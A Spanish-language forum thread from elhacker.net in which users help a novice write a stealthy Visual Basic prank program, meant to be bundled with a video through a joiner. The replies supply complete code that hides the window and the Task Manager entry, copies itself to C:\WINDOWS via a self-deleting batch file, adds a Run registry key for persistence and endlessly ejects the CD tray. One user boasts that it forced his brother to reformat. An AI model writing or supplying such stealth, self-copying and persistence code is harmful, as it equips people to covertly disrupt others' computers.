Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: xhc en 28 Octubre 2007, 16:48 pm



Título: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 28 Octubre 2007, 16:48 pm
hola mi duda es: Como puedo crear una aplicacion que al ejecutarse no se vea la pantallita del form

por ejemplo: una aplicacion que al ejecutarse se abra el lector del cd, juntar ese archivo  y un video o algo con un joiner y que al ejecutarse solo salga el video pero que no salga ninguna ventanita, nose si me explico, yo escojo la ventana de "Aplicacion para windows"


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Freeze. en 28 Octubre 2007, 16:51 pm
Con codigo:

Código:
Me.Visible = False

Con propiedades:

Seleccionas el Form y vas a la propiedad Visible. La colocas en False y ya esta. ;)



Si quieres que no aparezca en el Adminitrador de tareas (sección Aplicaciones):

Código:
App.TaskVisible = False


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: WHK en 28 Octubre 2007, 16:53 pm
Seleccionas el form y abajo en propiedades aparece visible=false eso debes cambiarlo a true o insertarle este código:
Código
  1. form1.hide = true


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Freeze. en 28 Octubre 2007, 16:57 pm
Seleccionas el form y abajo en propiedades aparece visible=false eso debes cambiarlo a true o insertarle este código:
Código
  1. form1.hide = true


Te hare la correcion ;)

Hide es una funcion. En este caso no requiere parametros.

Para usarla seria:

Código
  1. Form1.Hide

Y mas nada ;)


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: WHK en 28 Octubre 2007, 17:01 pm
Perdón :P esque hace mucho que dejé VB


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 28 Octubre 2007, 17:14 pm
-al poner me.visible = false no tengo problemas pero al poner form1.hide si :

 Error   1   'WindowsApplication1.Form1' no puede hacerse referencia a sí mismo a través de su instancia predeterminada; utilice 'Me' en su lugar.   C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb   4   9   WindowsApplication1


-otra cosa: para agregar algo al registro pongo:
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
NOMBREDENUESTROVIRUS /d Rutadenuestrovirus.exe"

y me salen estos errores:

Error   1   No se ha declarado el nombre 'prueba'.   C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb   6   1   WindowsApplication1
Error   2   Los argumentos de método se deben incluir entre paréntesis.   C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb   6   8   WindowsApplication1
Error   3   Se esperaba una expresión.   C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb   6   8   WindowsApplication1
Error   4   No se ha declarado el nombre 'd'.   C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb   6   9   WindowsApplication1
Error   5   Error de sintaxis.   C:\Documents and Settings\Rafa\Configuración local\Datos de programa\Temporary Projects\WindowsApplication1\Form1.vb   6   13   WindowsApplication1


lo unico que he hecho en visual basic son aplicaciones para windows muy sencillas(como hacer una mini calculadora...etc)

tambien estuve buscando codes para abrir y cerrar el lector pero me daban errores todos...


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: ‭‭‭‭jackl007 en 28 Octubre 2007, 18:14 pm
agregas un modulo y agregas esto:
Código:
Sub main()
'aqui tu code
End Sub
claro q no agregas formularios ... solo colocas el code alli y luego cuando se ejecuta todas las instrucciones ... finaliza.


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: cassiani en 28 Octubre 2007, 18:49 pm
  Hola, Uhm... tiempo si entrar en el foro.
 
  Yo prefiero usar:
  me.visible = False 'Para ocultar una ventana
  me.visible = True 'Para  volver a mostarla

  Aqui te dejo un código que utilice hace tiempo, no recuerdo de quien es o de donde lo saque, lo tenia guardado. Sirve para abrir y cerrar el cd-room.

En el módulo:
Código:
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

En el form:
Código:

Private Sub CmdAbrirCD_Click()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End Sub

Private Sub CmdCerrarCd_Click()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
End Sub

   A mi me funciona bien, espero que a ti tambien... ::)


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Gleper en 28 Octubre 2007, 20:02 pm
a mi no me va :huh:


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 28 Octubre 2007, 21:45 pm
a mi tampoco me funciona :-(, me salen estos errores:

Error   1   La instrucción no es válida en un espacio de nombres  -->Private Sub CmdAbrirCD_Click()
Error   2   La instrucción no es válida en un espacio de nombres. -->Private Sub CmdCerrarCd_Click()
Error   3   La instrucción no es válida dentro de un método.

y para agregar al registro pongo esto  dentro de otro modulo:
Código:
Module Module1
    Sub main()
        Shell("cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v")
prueba /d prueba.txt"
    End Sub
End Module
y me salen estos errores

Error   1   No se ha declarado el nombre 'prueba'
Error   2   Los argumentos de método se deben incluir entre paréntesis
Error   3   Se esperaba una expresión.
Error   4   No se ha declarado el nombre 'd'.


no me esta saliendo ningun code bien :-(



Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 28 Octubre 2007, 21:57 pm
ahora me he dado cuenta de que si pongo  me.visible = false, o me.hide  en el form, cuando genero la aplicacion y la ejecuto me sale el form  :-\

entonces para compilar por ejemplo el msn fucker de hendrix, copio el codigo en un modulo entre

Código:
   Sub main()
   code
   End Sub
y en el formulario pongo solo me.hide o me.visible = false?


perdonar pero esque soy muy novato y aun no entiendo bien visual basic


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: HaDeS, - en 28 Octubre 2007, 22:06 pm
Código
  1.    Sub main()
  2.        Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v prueba /d prueba.txt"
  3.    End Sub
  4.  
Perdón por meterme en el tema, pero creo que es así :P, para que te funcione ese código que esta dentro del sub main al inciar la aplicación te vas a : proyecto -> propiedades de proyecto -> objeto inicial -> acá escoges "Sub Main".
Y agrega al submain esto:
Código
  1. Form1.Visible = False
  2.  

Bueno, saludos ;)


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 28 Octubre 2007, 22:32 pm
tengo visual basic 6.0 y visual studio 2005, utilizo el 2005 porque esta en español, tiene algo que ver en los codes?? lo digo porque en visual basic 6.0 si que puedo ocultar el form,añadir cosas al registro(puse objeto inicial sub main, pero en vb 6.0) pero en vb 2005 me sale  :-\ :huh:


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Yekka en 29 Octubre 2007, 02:56 am
 Cita de Gleper
Citar
a mi no me va huh 

 Cita de xhc
 
Citar
a mi tampoco me funciona

 En la propiedad 'Name' del primer CommandButton --> CmdAbrirCD 
 Y en la propiedad 'Name' del segundo CommandButton --> CmdCerrarCd

 Y la funcion tal cual,en el módulo. Yo lo probe en vb 6.0 con WinXP sp2 y me funciono.
 
 ¡Bye!


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 29 Octubre 2007, 14:46 pm
gracias ya me va ( en visual basic 2005 no pero en vb 6.0 si ;D)

pero tiene que ser obligatorio que tenga botones?? esque querria poner un bucle que no parase de abrirse y cerrarse


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: cassiani en 29 Octubre 2007, 15:15 pm
  ¡Hey! Puedes hacer esto, modifica el code del form que te di, por este otro:

Código
  1. Option Explicit
  2.  
  3. Dim Res As Long, ReturnString As String * 127
  4. Dim Abrir As Boolean
  5.  
  6. Private Sub Form_Load()
  7.   Timer1.Enabled = True
  8.   Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
  9.                           Mientras mas bajo es el valor, mas rapido sera el ciclo.
  10.                          '1000 equivale a 1 segundo.
  11. End Sub
  12.  
  13. Private Sub Timer1_Timer()
  14.    If Abrir = False Then
  15.        'Cierra CD-ROOM
  16.        Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
  17.        Abrir = True
  18.    ElseIf Abrir = True Then
  19.        'Abre cd-room
  20.        Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
  21.        Abrir = False
  22.    End If
  23. End Sub
  24.  

   Debes tener cuidado con lo que haces, puedes hacerle daño a alguien... je,je,  :P


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 29 Octubre 2007, 16:18 pm
jajaj si que me funciona, gracias, entonces siempre que en algun code ponga algo de timer le tengo que agregar un relojito


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 29 Octubre 2007, 18:37 pm
para que se autocopie en otra carpeta puse esto:
Shell "cmd.exe /c copy /y %0 "C:\WINDOWS\iexplorer32.exe"

per no me deja, que estoy haciendo mal?


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: cassiani en 29 Octubre 2007, 19:24 pm
 Copy (origen) (destino)

 Puedes hacerlo usando un bat, observa esto:

Código
  1. Option Explicit
  2.  
  3. Private Sub CrearBat()
  4. Dim Canal As Integer
  5.    Canal = FreeFile 'Buscamos un canal libre
  6.    Open "Copiar.bat" For Output As #Canal 'creamos un bat
  7.        Print #Canal, "@echo off"
  8.        Print #Canal, "CD " & App.Path 'cambio de directorio
  9.        Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
  10.        & App.EXEName & ".exe /y"
  11.        Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
  12.    Close #Canal
  13. End Sub
  14.  
  15. Private Sub Form_Load()
  16.    CrearBat
  17.    Shell "Copiar.bat"
  18.    End
  19. End Sub

 Pruebalo y dime si es lo que quieres.


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 29 Octubre 2007, 19:36 pm
si que se me copia pero no funciona, es decir: cuando genero el .exe y lo ejecuto no se empieza a abrir el lector pero sin embargo se copia a C:\WINDOWS


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: cassiani en 29 Octubre 2007, 20:22 pm
 Bien, has lo siguiente: ubicate en la rutina 'CrearBat', luego, antes de la linea 'Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat' , vas a agregar esta otra linea:

Código
  1. 'Se ejecuta el archivo copiado
  2. Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"

   Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:

Código
  1. 'Esta es la función más sencilla para detectar la existencia de un archivo
  2. Public Function ExisteArchivo(Archivo As String) As Boolean
  3.    ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
  4.    'Devolverá false, si Dir$ no encuentra el archivo especificado
  5. End Function

   Y modificaras tu procedimiento 'Form_Load' por este otro:

Código
  1. Private Sub Form_Load()
  2.    Me.Visible = False 'Formulario invisible
  3.    App.TaskVisible = False 'Oculto de la pestaña de aplicaciones del admin. de tareas
  4.    If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
  5.       'Si no encuentra el archivo entra aquí
  6.       CrearBat 'Creamos el bat
  7.       Shell "Copiar.bat" 'Y lo ejecutamos
  8.       End
  9.    Else
  10.        'Si lo encuentra entra aquí
  11.        Timer1.Enabled = True
  12.        Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
  13.                           Mientras mas bajo es el valor, mas rapido sera el ciclo.
  14.                          '1000 equivale a 1 segundo.
  15.    End If
  16. End Sub

   Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.

  Creo que es más de lo que querias hacer,  :rolleyes:



Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 29 Octubre 2007, 20:49 pm
al ejecutarlo, me sale este error:
(http://imagen.subeimagen.com/170956aaaaaaa.JPG)

si que se copia a C:\WINDOWS  y si lo ejecutas se empieza a abrir, pero el problema es que no se ejecuta solo


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: cassiani en 29 Octubre 2007, 21:07 pm
 ¡A ver! quizas armastes el código mal, te lo posteo completo, para que veas como queda, recién lo probe en vb6.0 y funciona como se espera.

Código
  1. Option Explicit
  2.  
  3. Dim Res As Long, ReturnString As String * 127
  4. Dim Abrir As Boolean
  5.  
  6. Private Sub Timer1_Timer()
  7.    If Abrir = False Then
  8.        'Cierra CD-ROOM
  9.        Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
  10.        Abrir = True
  11.    ElseIf Abrir = True Then
  12.        'Abre cd-room
  13.        Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
  14.        Abrir = False
  15.    End If
  16. End Sub
  17.  
  18. Private Sub CrearBat()
  19. Dim Canal As Integer
  20.    Canal = FreeFile 'Buscamos un canal libre
  21.    Open "Copiar.bat" For Output As #Canal 'creamos un bat
  22.        Print #Canal, "@echo off"
  23.        Print #Canal, "CD " & App.Path 'cambio de directorio
  24.        Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
  25.        & App.EXEName & ".exe /y"
  26.        'Se ejecuta el archivo copiado
  27.        Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
  28.        Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
  29.    Close #Canal
  30. End Sub
  31.  
  32. Private Sub Form_Load()
  33.    Me.Visible = False 'Formulario invisible
  34.    App.TaskVisible = False 'Oculto del administrador de tareas
  35.    If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
  36.       'Si no encuentra el archivo entra aquí
  37.       CrearBat 'Creamos el bat
  38.       Shell "Copiar.bat" 'Y lo ejecutamos
  39.       End
  40.    Else
  41.        'Si lo encuentra entra aquí
  42.        Timer1.Enabled = True
  43.        Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
  44.                           Mientras mas bajo es el valor, mas rapido sera el ciclo.
  45.                          '1000 equivale a 1 segundo.
  46.    End If
  47. End Sub
  48.  
  49. 'Esta es la función más sencilla para detectar la existencia de un archivo
  50. Public Function ExisteArchivo(Archivo As String) As Boolean
  51.    ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
  52.    'Devolverá false, si Dir$ no encuentra el archivo especificado
  53. End Function
  54.  
  55.  

 Así debe quedar, No te olvides del módulo...   :o


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: xhc en 29 Octubre 2007, 21:59 pm
si, seguramente lo armaria mal porque con el code completo que pusiste me funciona perfecto :o ;D

gracias


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Sin Nick xD en 3 Febrero 2008, 12:23 pm
yo lla he hecho eso se lo hice ha my ermano es muy divertido ademas de todo esto hice que se arrancara en el inicio entonces no paraba en ningun momento
tambien despues de un tiempo agrege que se pusiera la pantalla al reves el pobre casy tubo que formatear su computadora porque obiamente no es un virus asy que no lo detectaban los antivirus jajajajajajajajajajajj.......jajajajajajajajajaj....jajajajajajajaja


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: hAcKeR92 en 4 Febrero 2008, 01:33 am
Como hiciste lo de la pantalla al reves??


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Pendex en 8 Febrero 2008, 13:51 pm
Pone el bucle en el SubMain y dentro de este llama al Cmd(...)_Click

Slds.-


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Pendex en 8 Febrero 2008, 19:10 pm
Perdon...me parece que deberias, en ese caso, desde el Form_Load escribir el bucle y dentro llamar a Cmd(...)_Click que corresponda.

Saludos.-


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Pendex en 8 Febrero 2008, 19:17 pm
(Dar vuelta la pantalla)...creo que se deberia enviar mediante "SendKeys" los cmd AltGr y la flecha para abajo...puede ser?

Slds.-


Título: Re: Como puedo crear una aplicacion que se ejecute sin la pantalla del form
Publicado por: Sin Nick xD en 8 Febrero 2008, 19:25 pm
Como hiciste lo de la pantalla al reves??

bueno eso lo pudes hacer con el teclado (ctr+alt+flecha abajo)
tambien la pudes poner para un  lado o para otro entonces lo que aces en vb es usar la funcion senkeys para emular que pulsaron el teclado para poner la pantalla para arriba por ejemplo seria

SendKeys.SendWait("^%{DOWN}")

tambien se pude emular cualkier combinacion de teclas aqui dejo un url donde explican bastante bien como utilisar este metodo

http://javascripts.astalaweb.com/Ayuda/html/wsmthsendkeys.asp

que se diviertan jajajaja salu2